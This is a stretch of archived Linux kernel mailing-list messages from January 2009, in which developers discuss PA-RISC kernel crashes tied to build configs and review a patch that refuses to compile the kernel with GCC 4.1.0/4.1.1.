Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757071AbZABQc6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 11:32:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756755AbZABQc6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 11:32:58 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3844 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754658AbZABQc5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 11:32:57 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 42E0A4EF0; Fri,  2 Jan 2009 11:32:55 -0500 (EST)
In-Reply-To: <495DDB0E.9010203@gmx.de> from "Helge Deller" at Jan 2, 2009 10:14:54 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1092>

> Hi Dave,
> 
> telling you to try vanilla 2.6.28 was a stupid idea.
> I forgot that I had exactly the same problem (slab corruption):
> http://bugzilla.kernel.org/show_bug.cgi?id=11913
> when I started the thread 
> "2.6.28-rcX in pretty bad shape on parisc"
> here on the list as well.
> 
> The solution for me was to use another default config.
> James posted this one, which started to get everything working for me:
> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
> Try this one instead (e.g. with Kyle's tree).
> 
> I assume something in your .config is different than what is in
> James' .config. It would be interesting to know what it
> is. I didn't checked further at that time.

The config that I have been using is based on James' ion config, plus
the defaults from running make oldconfig.

I actually was running 2.6.28 before I started experimenting yesterday.
It had run about three days building gcc without major problems.  As
noted by Grant, there is usually one unexplained segv (usually in make
or bash), then the system seems to run reasonably well for an extended
period.

If bash segvs, the system goes into an infinite loop of segvs due to the
way it handles signals, and the fact that the kernel restarts the faulting
instruction.  This fills the root file system with log messages...

I'm running a hacked version of bash which exits immediately to avoid this
problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Fri, 2 Jan 2009 11:43:03 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090102164303.605D94EF0@hiauly1.hia.nrc.ca>
References: <495DDB0E.9010203@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230914608 25302 80.91.229.12 (2 Jan 2009 16:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 16:43:28 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, kyle@infradead.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 17:44:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIn8N-00081A-0s
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 17:44:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757016AbZABQnI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 11:43:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757047AbZABQnI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 11:43:08 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3912 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757016AbZABQnH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 11:43:07 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 605D94EF0; Fri,  2 Jan 2009 11:43:03 -0500 (EST)
In-Reply-To: <495DDB0E.9010203@gmx.de> from "Helge Deller" at Jan 2, 2009 10:14:54 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1093>

> I assume something in your .config is different than what is in
> James' .config. It would be interesting to know what it
> is. I didn't checked further at that time.

On this, there is a problem with config's for my c3000.  2.6.28 builds
and boots fine with a config based on Kyle's allegro config.  However,
it crashes with thw config that I'd being using.  This is just a guess,
but I think IDE support is broken (machine has a cd drive).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 08:49:23 -0800 (PST)
Lines: 40
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net>
 <20090102115547.GB3027@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230915058 26644 80.91.229.12 (2 Jan 2009 16:50:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 16:50:58 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 17:52:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LInFX-0001oX-OT
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 17:51:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757029AbZABQuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 11:50:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756542AbZABQue
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 11:50:34 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:32771 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756667AbZABQud (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 11:50:33 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02GnPhn020606
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 08:49:26 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02GnNfs009263;
	Fri, 2 Jan 2009 08:49:23 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20090102115547.GB3027@elte.hu>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.424 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1094 gmane.linux.kernel:774474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1094>



On Fri, 2 Jan 2009, Ingo Molnar wrote:
> --- a/include/linux/compiler.h
> +++ b/include/linux/compiler.h
> @@ -36,12 +36,25 @@ extern void __chk_io_ptr(const volatile void __iomem *);
>  
>  #ifdef __KERNEL__
>  
> -#if __GNUC__ >= 4
> +/*
> + * GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
> + * by inlining __weak functions into same-file call sites - breaking the
> + * kernel if the __weak symbol is overriden later on.
> + *
> + * We have not found a clean way to work around this bug on the source
> + * code level, so we do not allow these compilers (which are quite
> + * rare these days, have other bugs and are superceded by the 4.1.2
> + * bugfix release anyway):
> + */
> +#define gcc41_inlining_bug \
> +	(__GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ <= 1)
> +
> +#if __GNUC__ >= 4 && !gcc41_inlining_bug
>  # include <linux/compiler-gcc4.h>

I think this is wrong.

Just move the check into <linux/compiler-gcc4.h>

It makes no sense to do stuff that is specific to gcc4 in the general gcc 
header file. It seems you did this just in order to re-use a (bad) generic 
error case. 

			Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 09:38:14 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230917943 3435 80.91.229.12 (2 Jan 2009 17:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 17:39:03 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 18:40:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIo03-0001Wp-Nn
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 18:39:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757406AbZABRij (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:38:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757432AbZABRii
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:38:38 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60194 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757406AbZABRii (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:38:38 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02HcGER023010
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 09:38:17 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02HcEYk015109;
	Fri, 2 Jan 2009 09:38:14 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.425 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1095 gmane.linux.kernel:774487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1095>



On Fri, 2 Jan 2009, Linus Torvalds wrote:
> 
> I think this is wrong.
> 
> Just move the check into <linux/compiler-gcc4.h>

In fact, looking at that whole mess, I redid it all. It was disgusting how 
conditionals in gcc4.h needed to double-check that __GNUC__ really was 4 
(rather than something bigger), which largely negated the whole nice clean 
compiler version separation.

I pushed out my preferred version, which fixes up the whole thing. The 
gcc4 header file now only gets included for __GNUC__ == 4, and when we 
ever see a __GNUC__ of 5, it will automatically DTRT and try to include 
<linux/compiler-gcc5.h> instead of #4.

And then the check in gcc4.h for 4.1.0 and 4.1.1 is much simplified.  The 
two patches I pushed out add functionality, but don't actually add any new 
lines (the first simplification patch removes more lines than it adds, and 
the second one that adds the __weak bug test adds as mahy lines as the 
cleanup removed).

And it all looks more logical too, imho.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 18:44:24 +0100
Lines: 150
Approved: news@gmane.org
Message-ID: <20090102174424.GA14065@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230918306 4545 80.91.229.12 (2 Jan 2009 17:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 17:45:06 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 18:46:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIo68-0003dl-Ip
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 18:46:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757118AbZABRoz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:44:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757047AbZABRoz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:44:55 -0500
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:55132 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754658AbZABRoy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:44:54 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LIo4S-0004JR-LG
	from <mingo@elte.hu>; Fri, 02 Jan 2009 18:44:31 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id A91583E21AA; Fri,  2 Jan 2009 18:44:23 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1096 gmane.linux.kernel:774489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1096>


* Linus Torvalds <torvalds@linux-foundation.org> wrote:

> 
> 
> On Fri, 2 Jan 2009, Ingo Molnar wrote:
> > --- a/include/linux/compiler.h
> > +++ b/include/linux/compiler.h
> > @@ -36,12 +36,25 @@ extern void __chk_io_ptr(const volatile void __iomem *);
> >  
> >  #ifdef __KERNEL__
> >  
> > -#if __GNUC__ >= 4
> > +/*
> > + * GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
> > + * by inlining __weak functions into same-file call sites - breaking the
> > + * kernel if the __weak symbol is overriden later on.
> > + *
> > + * We have not found a clean way to work around this bug on the source
> > + * code level, so we do not allow these compilers (which are quite
> > + * rare these days, have other bugs and are superceded by the 4.1.2
> > + * bugfix release anyway):
> > + */
> > +#define gcc41_inlining_bug \
> > +	(__GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ <= 1)
> > +
> > +#if __GNUC__ >= 4 && !gcc41_inlining_bug
> >  # include <linux/compiler-gcc4.h>
> 
> I think this is wrong.
> 
> Just move the check into <linux/compiler-gcc4.h>
> 
> It makes no sense to do stuff that is specific to gcc4 in the general 
> gcc header file. It seems you did this just in order to re-use a (bad) 
> generic error case.

yeah. I first hacked the generic check then saw how ugly the end result 
was and moved it one level higher. Which was less ugly than where it came 
from and not much worse than the starting point (so it passed my filters) 
but still not clean enough (so it didnt pass your filters).

How about the patch below instead? It cleans up the generic check by 
splitting all the per-major-version checks out into gcc4 and gcc3.

(still untested)

	Ingo

------------->
>From bb951ce0794f0e5974b834eb14e974a0a2c119db Mon Sep 17 00:00:00 2001
From: Ingo Molnar <mingo@elte.hu>
Date: Fri, 2 Jan 2009 12:46:22 +0100
Subject: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1

Impact: fix crashes that can trigger if built with GCC 4.1.0 or 4.1.1

GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
by inlining __weak functions into same-file call sites - breaking the
kernel if the __weak symbol is overriden later on.

In the past we tried to work around this problem by artificially
isolating call site and definition site - but these bugs tend to
pop up regularly:

 43a2563: sparseirq: move __weak symbols into separate compilation unit
 13a0c3c: sparseirq: work around compiler optimizing away __weak functions

And Linus has extended Sparse to report same-file callsites for __weak
symbols - which gave two dozen hits.

We have not found a clean way to work around this bug on the source
code level (noinline and explicit barrier()s are ignored by GCC), so we do
not allow these compilers (which are quite rare these days, have other bugs
and are superceded by the 4.1.2 bugfix release anyway).

Kernel builds under gcc 410 or 411 will now fail with this error message:

  Sorry, GCC 4.1.0/4.1.1 are too buggy to build the kernel - please
  upgrade to 4.1.2 or later versions.

Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 include/linux/compiler-gcc3.h |    4 ++++
 include/linux/compiler-gcc4.h |   14 ++++++++++++++
 include/linux/compiler.h      |    4 ++--
 3 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/include/linux/compiler-gcc3.h b/include/linux/compiler-gcc3.h
index e5eb795..a929a6d 100644
--- a/include/linux/compiler-gcc3.h
+++ b/include/linux/compiler-gcc3.h
@@ -2,6 +2,10 @@
 #error "Please don't include <linux/compiler-gcc3.h> directly, include <linux/compiler.h> instead."
 #endif
 
+#if __GNUC_MINOR__ < 2
+# error Sorry, your compiler is too old - please upgrade it.
+#endif
+
 /* These definitions are for GCC v3.x.  */
 #include <linux/compiler-gcc.h>
 
diff --git a/include/linux/compiler-gcc4.h b/include/linux/compiler-gcc4.h
index 974f5b7..b1edc9d 100644
--- a/include/linux/compiler-gcc4.h
+++ b/include/linux/compiler-gcc4.h
@@ -2,6 +2,20 @@
 #error "Please don't include <linux/compiler-gcc4.h> directly, include <linux/compiler.h> instead."
 #endif
 
+/*
+ * GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
+ * by inlining __weak functions into same-file call sites - breaking the
+ * kernel if the __weak symbol is overriden later on.
+ *
+ * We have not found a clean way to work around this bug on the source
+ * code level, so we do not allow these compilers (which are quite
+ * rare these days, have other bugs and are superceded by the 4.1.2
+ * bugfix release anyway):
+ */
+#if __GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ <= 1
+# error Sorry, GCC 4.1.0/4.1.1 are too buggy to build the kernel - please upgrade to 4.1.2 or later versions.
+#endif
+
 /* These definitions are for GCC v4.x.  */
 #include <linux/compiler-gcc.h>
 
diff --git a/include/linux/compiler.h b/include/linux/compiler.h
index ea7c6be..18edc7a 100644
--- a/include/linux/compiler.h
+++ b/include/linux/compiler.h
@@ -38,10 +38,10 @@ extern void __chk_io_ptr(const volatile void __iomem *);
 
 #if __GNUC__ >= 4
 # include <linux/compiler-gcc4.h>
-#elif __GNUC__ == 3 && __GNUC_MINOR__ >= 2
+#elif __GNUC__ == 3
 # include <linux/compiler-gcc3.h>
 #else
-# error Sorry, your compiler is too old/not recognized.
+# error Sorry, your compiler is too old or not recognized.
 #endif
 
 #define notrace __attribute__((no_instrument_function))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 18:46:41 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20090102174641.GA27287@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230918442 4988 80.91.229.12 (2 Jan 2009 17:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 17:47:22 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 18:48:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIo8G-0004Nq-2J
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 18:48:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757472AbZABRrH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:47:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757423AbZABRrG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:47:06 -0500
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:43986 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754658AbZABRrE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:47:04 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LIo6e-0004dV-Dy
	from <mingo@elte.hu>; Fri, 02 Jan 2009 18:46:46 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id A255A3E21AA; Fri,  2 Jan 2009 18:46:39 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
